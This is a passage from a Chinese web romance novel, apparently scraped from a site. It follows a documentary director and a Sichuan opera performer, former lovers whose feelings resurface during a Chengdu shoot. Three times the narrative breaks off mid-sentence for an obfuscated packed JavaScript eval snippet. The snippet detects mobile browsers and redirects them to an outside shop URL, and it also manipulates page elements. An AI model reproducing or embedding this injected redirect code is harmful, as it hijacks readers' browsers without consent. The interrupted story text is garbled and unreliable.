李霄川的伤疤袒露在那里,而陈声和的右手按在自己腕间,那里也有一道疤,小小的,弯弯的,像掐进肉里的月牙儿。 墙上两道影子挨得很近,几乎叠在一起,又随着陈声和转身而分开。他蹲下去收拾三脚架,金属关节碰得咔啦咔啦响。 李霄川看着他的背影,默默把药膏塞进戏服内袋。 陈声和抬眼时不经意一瞥,正好看见李霄川指甲缝里残留的朱砂红,这么多年了,这习惯还是没改。 当年在学校剧团,李霄川总抱怨勾脸的颜料卡在指甲缝里,怎么搓都搓不干净,看着邋遢。 陈声和就一声不吭上网查,前前后后买了二十几种卸妆用品,摆了一桌子让他试。 两人一前一后走出练功房。 穿堂风呼地撩起李霄川的戏服下摆。 陈声和看见他后腰别着那把熟悉的弹簧折扇,如果没记错,第三根扇骨有道裂痕,是当年两人在练功房打闹时摔坏的。 “师兄!”谢满悦举着反光板跑来,“王师傅问用传统《归舟》调还是新编曲?” 李霄川侧头思考时,脖颈拉出一道利落的线条。有枚吊坠从衣领里滑出来,在阳光下晃了晃。 “原版吧,”他说,“有些东西改了,就不是那个味儿了。” 陈声和胃里突然揪了一下,他加快脚步往片场走,背包里的工具哐当哐当响。 身后飘来谢满悦压低的声音:“陈导怎么老看你脖子?” 穿堂风卷着李霄川半句回答掠过耳畔:“可能……” 后半句被人声嘈杂吞没了。 …… 拍摄结束后,剧组的人三三两两收拾器材离开练功房,脚步声和零碎的交谈声在空旷的房间里回响着。 陈声和蹲在地上整理设备箱,手指碰到背包侧袋时忽地一顿,那盒药膏不见了。 他抬起头,目光穿过半开的门缝,正好看见李霄川站在走廊里和剧团的人说话。 那人正笑着拍李霄川的肩膀,李霄川微微侧身避开,抬手整理练功服领口,布料严严实实遮住了锁骨下方的那道旧疤,还有那个吊坠。 “陈导~”谢满悦突然从背后冒出来,手里转着根没拆封的巧克力棒,“您给我讲讲师兄大学时候的事呗?” 陈声和低头拧紧镜头的防尘盖,金属螺纹咬合的细微声响里,他余光瞥见伍云舒靠在三脚架旁边,正低头翻看场记本,可纸页已经好一会儿没动了。 “我们只是普通校友。”他把镜头放进防震箱,锁扣咔嗒一声合上,“拍毕业作品时合作过两次。” “哦~”谢满悦咬着巧克力棒,含混不清地笑,“那他怎么连你左眼近视,所以习惯把主机位放右边都知道?” 陈声和正在拉设备箱拉链的手突然打滑,金属链条发出刺耳的摩擦声。 走廊里隐约传来李霄川的声音,他正在和琴师确认明天的拍摄时间,刚才练功房里发生的一切,就好像被他随手“啪”地合上了剧本,一丝都没露出来。 谢满悦的问题他没回答,垃圾桶里传来很轻的“咚”一声,那个印着潮汕草药铺红章的空药盒消失在黑色塑料袋里。 陈声和拎起设备箱转身时,练功房的木地板在他脚下发出不堪重负的吱呀声,像是在替他叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004135|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 谢满悦看着陈声和头也不回地走远,撇了撇嘴,蹭到伍云舒身边,用气音哼哼:“陈导好小气哦,问几句话而已,嘴这么严。” 伍云舒的视线从陈声和略显僵硬的背影,移到走廊外正谈笑风生的李霄川身上,轻轻叹了口气:“你啊,别再去打听了。” “我这不是好奇嘛!”谢满悦凑近些,压低声音,“你看,平时师兄主动找他说话,陈导哪次不是能躲就躲?要是真看不上师兄,当初干嘛接拍这部纪录片?” “……别瞎猜,”伍云舒抬手轻轻敲了敲她的额头,“他们之间的事,我们不清楚。你少在剧组里散播这些捕风捉影的八卦。” “晓得咯晓得咯~” 谢满悦拖长调子应着,看着伍云舒转身离开,偷偷做了个鬼脸,小声嘀咕,“明明你也很好奇……” …… 陈声和睡到凌晨四点就醒了,窗外天还黑得透透的,一点儿要亮的意思都没有。 酒店那窗帘也没拉严实,漏了一道缝,冷白色的路灯光从外面斜斜地切进来,不偏不倚,正好打在他床头那台老富士相机上。 这相机金属机身已经有点掉漆了,边边角角磨得发暗,取景框上还贴着那块熊猫贴纸。 是当年李霄川趁他不注意,啪一下给粘上去的,这么多年了,也没能完整撕下来。 他就盯着那道光愣神,直到手机闹钟在四点四十五分嗡嗡响起来。今天还是拍川剧基本功训练,重点是李霄川的晨功。 片场安排在川剧院最老的那间练功房,一推门,熟悉的木头味儿就扑过来,是被汗水常年浸泡之后的气味,有点旧,有点沉。 木地板早就被磨得发亮,把杆上的红漆斑斑驳驳的,底下深色的木头都露了出来。 墙角堆着几个用旧了的软垫,他走过去,忍不住翻翻看看,果然,其中一个的边边上,还留着他当年偷偷用马克笔画的星星。 这段时间,陈声和总是比整个团队都来得早。他一个人站在空荡荡的房间里调试设备,熟练地把摄像机架在角落。 这个角度,正好能把整根把杆收进画面。就像当年二十岁的李霄川在这儿压腿压到抽筋,他举着借来的DV,躲在幕布后面偷偷录过全程。 门轴发出熟悉的吱呀声:“陈导这么敬业?” 是李霄川的声音。 陈声和手一顿,没回头,低头假装检查设备:“这时候的光线最适合拍晨功。” 声音比想象中要稳,这是件好事。 脚步声靠近,接着松木与铁观音的气息飘过来。陈声和睫毛颤了颤,李霄川居然还在用那款洗发水,这么多年都没换。 他逼自己把注意力拉回摄像机上,手指搭在调焦环上,没动。 “要拍多久?”李霄川已经站到把杆前,肩背拉出利落的线条。 灯光落在他身上,连空气中飘浮的灰尘都变得清晰可见。 “看你状态,”陈声和抬头,透过取景框看他,“先热身吧。” 李霄川眼睛弯了弯,眼角那颗泪痣也跟着一动:“陈导现在说话,怎么跟外科医生似的。” 这句话带着玩笑落下,却像飞镖扎在陈声和的心上。 19. 躲的不是他,是尴尬 大学时他总说李霄川练功不要命,像个自虐的外科医生。没想到这么多年过去,对方还记得这么清楚,甚至要见缝插针的回他一击。 就在这时,摄像机突然闪了两下红灯,发出细微的电流声。陈声和皱了皱眉,伸手拍了拍机器侧边。 “设备有问题?”李霄川问。 “没事,老毛病。”陈声和低头检查连接线,声音闷在胸前,“这台机器跟了我五年,偶尔……” 他突然刹住话头,手指僵在半空…… 五年,正好是他们分开的时间。 空气里浮动着细微的尘埃,在补光灯的光束里缓慢游移。 李霄川也没在意,转身去压腿,布料摩擦声像被放大:“要拍变脸口诀的话,得去道具室拿脸谱。” “嗯。”陈声和的目光落在他后颈处,那里有几缕发丝被汗水打湿,贴在皮肤上。他看了眼腕表,“十点拍那部分。” 片场已经布置妥当了,环形补光灯在蓝幕前投下均匀的光线,Sennheiser 416麦克风静静悬在支架上。 陈声和戴上监听耳机调试设备,发现频道里有杂音,像是老式收音机调频时的电流声。 “沙沙~” 他抬起头来,看见李霄川正在给脸谱系绳,红色的丝绸带子在他指间灵活地穿梭,动作熟练得让人想起他当年在宿舍缝补戏服的样子。 陈声和举着收音麦往前走了两步,这时林瑶急匆匆跑进来:“陈导!主摄像机电池报错!” “备用机呢?” “也在报警。”林瑶急得额头上沁出细密的汗珠。 陈声和把收音麦塞给场记,转身就要往外走。经过李霄川身边时,对方突然伸手拦住他:“用我的。” 接着一把带着体温的钥匙被放进他手心。 “休息室有台Sony FX6 Mark II,”李霄川没看他,“拍纪录片够用了。” 陈声和怔住。 FX6 Mark II是去年才上市的专业机型,确实能解决燃眉之急。 但李霄川怎么会知道他现在常用的设备?又为什么会准备这个? “你……” “剧团采购的。”李霄川系紧最后一道绳结,“我推荐的型号。” 话罢他转身离开,没看陈声和发红的眼尾。 直到十点一刻,拍摄才终于开始。 李霄川站在蓝幕前讲解变脸口诀,那声音冷的,跟三九天舔铁栏杆似的,直接冻到人骨头缝里。 “手要快,眼要疾……” “沙~呲” 耳机里再次传来杂音,陈声和皱眉,抬手示意暂停。 “音频干扰,”他蹲下来检查连接线,“可能是无线麦频率冲突。” 李霄川站在原地没动,脸谱后的眼睛看不清情绪:“要重来?” “嗯。” 第二次尝试。 “心要静,气要沉……” “滋~滋~” 电流杂音又一次打断录制。陈声和的手指在调音台上快速滑动,眼睛盯着频谱分析仪。 监视器里,李霄川正在拆解变脸用的脸谱机关。他的手指修长灵活,翻动丝绸内衬的动作行云流水,仿佛在表演另一场默剧。 但音频信号却断断续续,像是被什么东西阻隔了。 “再停一下。”陈声和抬手,声音比平时低了一度,带着工作时常有的严肃。 整个片场只得暂时停下工作,设备组连忙检查故障,其余人则站在一旁等着。 李霄川抬眼,隔着三米远的距离,目光直直撞过来。 “可能是线松了。”陈声和避开他的视线,低头继续调试设备,“换有线麦试试。” 陈声和弯腰去翻器材箱,片场的灯光在箱子里投下晃动的影子,他眯起眼在一堆线材中寻找备用音频线。 其实这些碎活儿不用他亲自动手,然而他又无法被李霄川那样注视着,只得躲开。 李霄川没说话,抬手摘下半边脸谱,露出被油彩勾勒得锋利的眉眼,红色眼线在尾端微微上扬。 他走过来时,身上还带着舞台妆的松香气和一点汗水的潮意,像是夏日暴雨前闷热的空气。 陈声和呼吸放轻了许多,后颈的碎发被大风扇风吹得轻轻晃动。 “我看看。”李霄川顺势在他身旁蹲下,膝盖抵着器材箱边缘,伸手去检查音频接口。他手腕上还系着戏服的束带,随着动作擦过陈声和的手背。 他们的手指在连接线上擦过。 只是一瞬间。 李霄川猛地抽回手,像是被烫到一样。音频线“啪”的一声砸在地上,设备发出刺耳的嘶嘶声,在安静的片场分外突兀 片场所有人转头看过来。 陈声和僵住,手指还悬在半空,能感觉到刚才那一瞬李霄川手指的温度。 “……抱歉。”李霄川嗓音发紧,弯腰去捡线的动作有些仓促。 项链从衣领里滑出来,在空气中晃了晃。 陈声和这才终于看清,吊坠是半片青瓷,边缘已经磨得圆润,经过特殊处理后成了吊坠,但瓷面上隐约可见细密的冰裂纹。 他盯着那片瓷,喉咙一阵发紧,像是被沙子死死堵住了。 那纹路他比任何人都清楚,因为是他当年从潮汕老家带出来的薄胎白瓷杯,来成都上学,阿嬷特意塞进他行李里的。 杯底还刻着他的名字,一笔一划,都是阿嬷亲手写的。 最后一次吵架那晚,他失手把它摔了。瓷片溅得满客厅都是,李霄川就蹲在地上,一片一片,默默捡起来。 而现在,最大的一片,竟然被他做成了吊坠,挂在胸口。 也不知道已经戴了多久。 “……你现在用Sennheiser了?” 李霄川轻声开口,目光从他脸上滑过,落在那支麦克风上。 陈声和愣愣地点了点头。就在这一瞬间,他好像又听见了大学器材室里那台老旧风扇的嗡嗡声。 那时候他们总挤在那儿,对着一本破杂志上的Sennheiser流口水。李霄川说,等毕业赚钱了,第一个就买它。 陈声和就笑他:“那得接多少片子才买得起啊?” 李霄川凑过来,呼吸热热地喷在他耳边,还带着中午食堂麻辣香锅的味道:“很快的,说不定你毕业那天,我就送你一个。” 而现在,这支麦克风,不过是他设备清单里最普通的一支,采购单上的一行数字。 “……嗯。”陈声和低低应了一声,伸手去接他手里的线,“职业需要,收音效果好一点。” 他的指甲修剪得很短,指腹有长期操作设备磨出来的薄茧。 李霄川没松手。 两人的手指又一次碰到一起。但这一次,谁都没再躲。 陈声和能感觉到李霄川的手指在微微发抖,像是有什么东西,正要从那层冷静的壳里挣出来。 “现在还痛无?”李霄川低声问他。 这声音轻得几乎像是错觉。但每个字又标准得不像话,连潮汕话里那种独特的尾音,都模仿得惟妙惟肖。 (还疼不疼?) 陈声和觉得自己的心脏像是突然停了,手里的线差点滑下去。恍惚间,那碗茯苓粥的香气又漫上来,混杂着记忆里潮汕砂锅粥蒸腾的热气。 他想起五年前那个雨夜,他胃痛得蜷在床上。 李霄川冲出去买药,回来时浑身湿透,却顾不上擦,只是笨拙地用刚学的潮汕话问他:“还痛无?” 那时候他的发音滑稽得要命,逗得陈声和想笑。只因为陈声和说过,小时候他摔疼了,阿公阿嬷总是这样哄他…… 他那时候总想起去世的阿公,李霄川就偷偷学了几句潮汕话,笨笨地逗他开心。 而现在,他的发音标准得让人心疼。陈声和不知道他花了多少时间去练,就像他不知道,这片瓷坠在他胸口贴了多久。 陈声和垂下眼,只是沉默地接过线,重新插好。插头与接口严丝合缝地咬合,发出轻微的哒铮声。 “……不疼了。”半晌,他才用同样轻的声音回答。 李霄川这才收回手,戏服的丝绸擦过陈声和手腕,凉得像道水痕。 后台的灯光突然暗了一瞬,有人在调整了电路。在这短暂的黑暗里,陈声和听见李霄川很轻地吸了一口气,像是快要溺亡的人终于浮出了水面。 设备修好后,片场重新开始运转,场记板咔的一声落下。 “测试收音,李老师,麻烦再说一次口诀。”副导对着对讲机喊,手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004136|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场记本卷成筒状,敲打着手心。 李霄川站在镜头前,脸上已经重新戴好半张脸谱,丝绸系带在耳后打了个死结。他的声音透过耳机传来,低沉清晰:“变脸不外传,传脸不传心……” “咔。”陈声和第三次喊停,手指在调音台上轻叩两下。 监控器前,所有人都默契不敢说话。 陈声和盯着波形图,眉头越皱越紧:“……低频杂音还是没消,设备组再检查。” 收音师凑过来检查设备,手指在防风罩上摩挲:“怪了,怎么只录到48Hz以下的低频……” 站在一旁的林瑶突然扑哧一笑:“陈导,您是不是又心跳过速干扰设备了?上次颁奖也这样……” 话没说完,陈声和冷冷地扫过去一眼,林瑶立刻做了个拉上嘴巴的动作。 李霄川站在灯光下,脸谱遮住了大半张脸,但嘴角的弧度还是被侧光勾勒出来。 他抬手调整脸谱系带时,丝绸拂过脖颈,那片青瓷吊坠又晃了出来,釉色在强光下一照,更刺眼了。 “重来一次。”陈声和深吸一口气,指节抵住太阳穴,“李老师,请从头开始。” 李霄川点头,手指擦过脸谱边缘:“变脸不外传……” 他说到一半,话突然卡住了。 监视器屏幕前,陈声和的眼神又冷又直,穿过镜头,像根钉子似的,直接扎进他眼里。 李霄川沉默了一会,才继续道:“传脸不传心。” 最后那个“心”字,太轻了,差点就被机器嗡嗡的杂音给吞了。 大家都以为李霄川已经不耐烦了,整个片场静得吓人,静得连他戏服上珠子轻轻磕碰的声音都听得清清楚楚。 而陈声和呢,还盯着调音台,上面48Hz的波形还在那儿跳,一下一下,像颗怎么都不肯认输的心脏。 等拍摄一结束,片场那根绷紧的弦“啪”地就松了。 塑料箱子被拖来拖去,收线轮转得吱吱响,工作人员一边收拾一边说笑,声音里都带着刚忙完的倦意。 李霄川这会儿被几个师兄弟围着,像是在聊刚才戏里哪个动作没到位。他侧着脸,嘴角挂着点儿松散的笑,舞台上的锋利劲儿全收起来了,整个人都软了下来。 不远处的陈声和,正蹲在已经黑屏的监视器旁边,假装认真地收拾散了一地的存储卡。 可他那耳朵,却不受控制悄悄竖起来,听着那边飘过来的闲聊。 是剧团里那个特别能聊的化妆师,正跟场记俩人靠在道具箱边上摸鱼唠嗑呢。 场记的声音带着好奇:“哎,李老师脖子上那个坠子,什么来头啊?看他宝贝得不行,刚才走位差点绊到,手第一时间就捂上去了。” 化妆师像是掌握了什么独家秘辛,声音压得很低:“那可是他的命根子。别说摔一下,就是平时卸妆,也从来不摘。有回喝多了,摸着那瓷片,眼睛都是红的。” “至于吗?”场记撕开一道封箱的胶带,发出刺耳的响声,“看着不就是块碎瓷片?地摊上十块钱能买一摞的玩意儿。” “这你可就看走眼了,”化妆师的声音更小了,“听说啊,这世上就独这一片,碎了就再没第二块了。之前有个玩古藏的甲方,眼睛毒,一眼就相中了,开价这个数想收……”她比划了个手势,“结果你猜怎么着?李老师当场就冷了脸,那气势凶得,差点把合作都搅黄了。” 陈声和手指猛地一颤,捏在手里的几张存储卡哗啦一声,尽数散落在地。 那当然买不到,因为那是他阿嬷从潮州老窑带回的孤品,比父亲年龄都大,世上再没有第二只相同的茶杯了。 他不自觉的摸上自己的手腕,那里有一道浅浅的痕迹。 当年李霄川手腕受伤后,偷偷去纹身盖住了原本的伤疤,还给这处纹身起了个又荒唐又甜蜜的名字…… 叫“情侣伤”。 而现在,李霄川的伤,比他腕上这道,要深得多,也痛得多。 “……为什么留着那个?”陈声和回神,轻声问出口,目光落在帮忙捡卡的人身上。 李霄川顿了顿,本能反应去摸吊坠,又把衣领往上拉了拉挡住:“因为碎掉的东西,也有人想拼回去。” 陈声和只看到那人的嘴唇在昏黄灯光下开合,接着便起身离开了。 20. 一只受惊的潮汕猫猫 片场的大灯一盏盏灭掉后,陈声和还坐在调音台前没走,戴着耳机复盘今天的录音。 耳机里正播着李霄川的访谈,声音干净清楚。可突然,一阵杂音插了进来,震得他耳朵发麻。 他皱着眉把音量调大,然后整个人愣住了。 那不是电流杂音,是设备贴在领口夹麦上录下了他自己的心跳。 咚、咚、咚 每一声都完美卡在李霄川换气的间隙里,严丝合缝,就像藏在专业访谈里的秘密。 他一把扯下耳机,连带着揪疼了几根头发。 一抬头,看见李霄川还站在片场门口。逆着光,只看清他手里拎着那幅紫色的变脸脸谱。 看着他的背影,陈声和忽然想起大学时候,李霄川第一次教他变脸时说:“脸谱翻过来是另一张脸,可人翻过来,还是那个人。” 而现在,他们之间隔着的,又何止是一副脸谱? 片场的灯光一盏接一盏熄灭,最后只剩下调音台前的一盏小灯。 陈声和盯着屏幕上波形跳动的音频文件,手指悬在删除键上方,迟迟没有落下。 耳机里,自己的心跳声仍然清晰可闻,让他努力演出来的镇定都暴露了出来。 “陈导?” 林瑶的声音突然从身后冒出来。陈声和像只受惊的鸟,猛地摘下耳机,动作大到差点碰翻水杯。他还下意识把电脑屏幕往自己这边转了转,好像那上面有什么见不得人的东西。 “设备都收好了,要放测试音吗?”林瑶晃了晃手里的音频线。 陈声和点点头,重新戴上耳机时,手指在耳罩上敲了两下,这是工作习惯,也是给林瑶的信号,示意她播放。 短暂的安静后,耳机里传来几声电流杂音,接着,一段熟悉的唱腔毫无预兆地淌了进来: “错认重逢是梦中……” 李霄川的声音就这样毫无预兆地撞进耳膜。 但不是今天正式录制时字正腔圆的唱腔,而是更久以前,带着点青涩的随意哼唱。 尾音微微上扬,像是唱到一半突然想起什么高兴的事。 是大学时李霄川总在练功房哼的《归舟》选段。 那时候木质地板被阳光晒得发烫,他压完腿靠在把杆上,看见陈声和举着摄像机进来,就会故意拖长这句。 “咦?这测试音怎么是……”林瑶疑惑地翻了翻播放列表,“啊,是李老师之前录的demo,可能是设备自己载入了。” 陈声和盯着屏幕上跳动的音频波形,那条起伏的绿线像一条蜿蜒的河,载着五年前的阳光和练功房里的灰尘。 那时候,李霄川总爱在练功间隙哼这段,陈声和拍他,他就故意拖长尾音,笑着问:“陈大导演,这段能剪进你的片子里吗?” 陈声和就逗他:“那肯定行啊,李老师的片子一定大卖。” 然后被李霄川追着满练功房跑。 而现在,这段哼唱成了测试音。成了他们重逢以来,唯一一段没有杂音、却格外清晰的“对话”。 林瑶的指甲在触摸板上划了两下:“要删掉重录吗?” 陈声和的手指停在键盘上方,过了好一会儿,才轻轻摇头:“留着吧。” 他关上电脑,站起身时椅子发出刺耳的摩擦声。目光不由自主的望向片场门口,那里空荡荡的,只有一盏坏掉的场灯在轻微摇晃。 李霄川早就走了,连句招呼都没打。 角落的道具椅上,落了半张脸谱。丝绸内衬卷着边,上面有几道不明显的折痕,像是被人攥在手里很久,最后又松开了。 陈声和走过去,手指轻轻碰了碰脸谱的边缘。绸面冰凉,底下硬纸板的触感还是那么熟悉。 脸谱背面朝上。 上面有一行钢笔写的小字,墨迹早就干了,但纸张褶皱的地方却透着新鲜的潮湿,好像刚刚还被谁的指尖反复摩挲过。 重逢不是梦。 …… 陈声和的团队来成都已经半个月了。 这半个月里,他拍遍了宽窄巷子的青砖灰瓦,录下了锦里夜市的吆喝叫卖,甚至跟着李霄川的剧团从化妆间跟拍到上台。 可偏偏就是没能和他好好坐下谈一谈。 每次收工后看到对方欲言又止的眼神,陈声和总会摸出手机假装接电话。 有次他甚至脱口而出“阿妈我这边信号不好”,可屏幕分明还停留在相机界面。 他知道自己在重蹈覆辙。 就像五年前那样,他攥着登机牌躲在机场洗手间,直到广播喊到最后一刻才冲出去,明明只要回头就能看见候机厅玻璃上,李霄川等着他回头的身影。 可身体比理智更诚实。 每当那个熟悉的身影出现在取景框边缘,陈声和就会调整焦距。镜头追着李霄川勾脸时微蹙的眉头,追着他练功时绷紧的后颈线,追着他转身时戏服下摆扬起的弧度…… 就像……潮水永远追着月亮。 灰蒙蒙的天空笼罩下来,下午那点稀薄的暖意早已被雨水卷走了。 陈声和站在大学后巷子的雨棚下,铁锈味的雨水顺着铁皮凹槽滴落,在他脚边溅起细小的水花。 不远处就是火锅一条街,他低头看着手机里的拍摄计划,耳边是场务搬运器材的碰撞声。 “陈导,空镜设备准备好了。”林瑶小跑过来,递来的保温杯冒着热气,单丛茶专属的兰花香与雨水的潮湿钻进鼻腔,“您真要亲自拍?这种镜头交给二机位就可以啦。” 陈声和拧开杯盖的动作顿了顿。茶汤里浮着两粒枸杞,这不是他的习惯。 倒像是……李霄川总说成都湿气重,不习惯的人该加点枸杞。 余光瞥见校园后门晃过一道黑影,李霄川正把变脸用的绸缎往道具箱里塞,他肩膀上的衣服让雨水给浸湿了,留下了一块儿深色的水印。 “不用,”陈声和放下茶杯,“告诉摄影组,要补拍火锅店全景,从校园穿过,焦点放在红油锅的气泡上。” 林瑶的笔在通告单上迟疑:“可企划案里没写这个镜头。” “现在有了。”陈声和的声音比此刻的秋雨还冷点儿。他的视线穿过朦胧的雨幕,落在对面火锅店玻璃窗内的桌上。 五年前一个雪夜,李霄川就是坐在那里,把他最爱的毛肚全部捞进清汤里,笑着说:“我家广仔吃不了辣,我帮你涮。” 雨势开始变大了,砸在雨棚上发出密集的鼓点声。 陈声和摸到口袋里那团皱巴巴的餐巾纸,下午李霄川给他擦手时留下的朱砂色,这会儿已经晕开来了,红糊糊一片。 “陈导!伞给你啊!”林瑶在后头喊。 可他已经头也不回地走进雨里了。冰凉的雨水顺着脖子往衣服里钻,白衬衫一下子湿透,紧紧贴在背上,像裹了层透明的茧。 这样也好,他心想,至少没人看得出来他在发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004137|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖。 就像没人知道,他非要拍那口红锅,其实只是想看看……锅里那些咕嘟咕嘟的泡沫,到底能撑多久才会破。 这场突如其来的秋雨,在天彻底黑透的时候,说停就停了。火锅店的霓虹招牌在水汪汪的地面上映出一片红晕。 陈声和蹲在店门口,摄像机取景框里,一锅牛油红汤正翻腾得厉害。镜头前蒙了层薄薄的水汽,画面边角也跟着模糊起来。 “陈导,这空镜还要拍多久啊?”老张一边调三脚架一边问,关节跟着发出轻微的咔哒声,“这都第五条了。” 陈声和的食指推了推镜头盖内侧,那儿刻着几个小小的字母。监视器里,辣椒在滚汤里卷成一个小小的漩涡,像无声呐喊的黑洞。 “再保一条。”他听见自己说。 这句话就像咒语,瞬间让周围工作人员绷紧肩膀。 五年来,“再保一条”成了组里最让人头皮发麻的词。这通常意味着陈导那双下垂眼里,马上又要冒出那种不管不顾的偏执劲。 就像当年拍《岷江往事》时,为了一个日出镜头,能在山顶死磕整整三天。 取景框里,红油还在咕噜咕噜翻滚。忽然,一道黑影切了进来。 李霄川的手指卡在镜头边缘,黑色高领毛衣裹着喉结。他手里那副变脸用的磁碟转得飞快,金属边刮着霓虹灯光,晃得像一片薄薄的刀片。 “陈导拍个火锅这么认真啊?”他膝盖抵着监视器支架,弯腰凑近,呼出的白气在屏幕晕开一小块湿痕,“还是说……在找什么旧东西?” 冷杉与川白芷的药香飘过来,陈声和鼻腔一刺,这个味道曾经浸透他大学时代的毛衣。 现在其中掺了新的辛香料,仿佛陌生的宣示。 “锅底反光过曝了。”见他不说话,李霄川抬手虚指,手指在空气中划了个圈……其实没什么意义,就像很多话没必要说出口。 玻璃门突然被撞响,老板娘端着鸭血愣在门口:“李老师?你好久没……”她目光在两人之间一跳,认出了陈声和,讪笑着改口,“……没带那个广东娃儿来吃火锅喽。” “唔,他胃浅。”李霄川说得很轻,陈声和却听得耳膜一震。 指甲掐进掌心的刹那,记忆猛地闪回大三寒假。 冬日的练功房外,这人把冻僵的手塞进他后颈,热乎乎的气息喷在他耳根:“广仔天生凉皮子,正好当我的冰袋。” 然后带他来吃火锅暖身子,老板娘每次都会说这个广东小帅哥吃太少。那时候,李霄川也是这样回答:他胃浅,吃太多会不舒服。 然而没人知道,这句话在只有他们两人的夜里,是另一层意思。是李霄川贴在他耳边,用气声逼他喊出乱七八糟称呼时,常用的那句荤话。 场记惊呼了一声:“陈导!您的手!” 陈声和低头,见自己指甲陷进虎口,不知何时裂了道细口,血珠正顺着相机的镁合金外壳往下爬。 所有人都没反应过来,磁碟已经压在了伤口上。 李霄川的动作快得像在台上变脸,冰凉的金属面贴着温热的血,成都话从牙缝里挤出来:“莽得遭不住!” 掏出的创可贴印着啃竹子的熊猫,早不是当年他囤在书包里的卡通款…… 是啊,那款在第一次重逢时,被他亲手扔掉了。 “第6条重拍。”陈声和猛地转身,创可贴从他掌心滑落,粘在积着油污的水泥地上。 21. 错位的痛觉记忆 直到凌晨一点,最后一组镜头可算拍完了。 场记板一合,声音在空荡荡的街上特别清楚。工作人员都累得不行,三三两两地收拾东西,有人一边打哈欠一边问:“等会儿吃啥去啊?” 陈声和也机械地收着设备箱,一抬头,看见街对面那家火锅店居然还亮着灯。 这家店,他们大学那会儿常来。川大学生都爱来这儿吃,便宜实惠,老板人也特好,动不动就送他们一碟炸酥肉。 也不知道怎么了,陈声和拖着快散架的身子,迷迷糊糊就走过去,推开了那扇玻璃门。 “叮铃”一声,门上的铜铃响了。 陈声和望进去,满屋子火锅的热气。他一眼就看见最里面2号桌坐着的李霄川。 那位置,他们以前老抢。靠墙,安静,墙上还有许多幅学生涂鸦,一堆熊猫抱着火锅,画得特幼稚。 老板从来不管,也不擦,还说学生娃儿画得有意思。 那时候陈声和也画过,画了片茶叶,上面托着个脸谱。 什么意思,只有他跟李霄川知道。 五年了,这些画居然还在,就是颜色淡了不少。 “不好意思,已经打烊咯,”老板娘从后厨探出头,看清来人后突然卡壳,“哎呀,陈、陈导演?” 陈声和僵硬地点了下头,眼睛却死死盯着李霄川手里的筷子。 那片毛肚在红汤里翻腾,百叶的纹路在滚烫的锅底里若隐若现,像暴风雨里飘摇的小船。 “坐。”李霄川头都没抬,用下巴指了指对面的空位,手腕一抖,把烫好的毛肚捞进自己碗里。 陈声和默默走过去坐下。 “要吃吗?”李霄川顿了顿,又补了一句,“要的九宫格。” 陈声和看着九宫格感觉胃在叫嚣着骂他。 一次性透明杯被推到手边,杯底沉着两片柠檬,水面浮着三粒枸杞。这是他大学时发明的“解辣特饮”,如果是夏天,可以加几块冰进去。 陈声和喉咙动了动,又想起某个夏天的晚上…… 李霄川在宿舍楼下等他,举着一样的杯子,头发还滴着练完舞的汗:“尝尝,我特意问嬢嬢要的枸杞。” “现在能吃了。” 陈声和自己都没意识到说了什么,直到看见李霄川挑了下眉,才反应过来。 李霄川的筷子停了一下,没看他,只是盯着翻滚的红油锅底,语气淡淡的:“是啊,五年了,铁树开花,陈导也终于能沾辣了。” 陈声和觉得迟早有一天,他会被心脏刺痛给折磨死。他不再搭话,筷子径直伸向红锅,恍惚听见二十岁的自己在耳边尖叫。 鲜红的毛肚浸进翻滚的牛油里,辣椒籽粘在上面,看着就跟要上刑似的。 第一口下去,灼烧感直接从舌尖炸开,食道像被烙铁烫过一样。 “咳……!” 杯子被急急推过来,陈声和连忙喝了几口。 李霄川捏筷子的手指关节都发白了,声音却还带着笑:“现在知道先涮涮清水的必要了吧?” 陈声和没听,第二片毛肚直接硬生生咽了下去,辣得眼泪直往外冒时,他听见瓷碗底轻轻磕在桌上的声音。 抬头一看,李霄川碗里整整齐齐摆着毛肚,每一片都只在红汤里轻轻一涮就捞起来,然后再用清水涮一遍。 “你看,”李霄川语气里带着笑意,可尾音却不受控制地嘶哑了,“我们连痛觉记忆都错开了。” 陈声和一下子被这句荒唐话给逗笑了,辣椒呛出来的眼泪糊了满脸。 真讽刺啊。 他花了五年时间拼命练吃辣,而对面这个人,却学会了在红汤里过清水。 老板娘正好端着两碗冰粉过来,两人同时伸手去接。李霄川的手指不小心擦过陈声和手腕内侧那个浅褐色的茶疤,又猛地缩了回去。 “李老师这项链还没换啊?”老板娘看着俩人通红的眼眶没说,只是好奇地打量他颈间露出的一截绳子。 “挡灾的。”李霄川迅速把吊坠塞回衣领,瓷片边缘在他锁骨上刮出一道红痕。 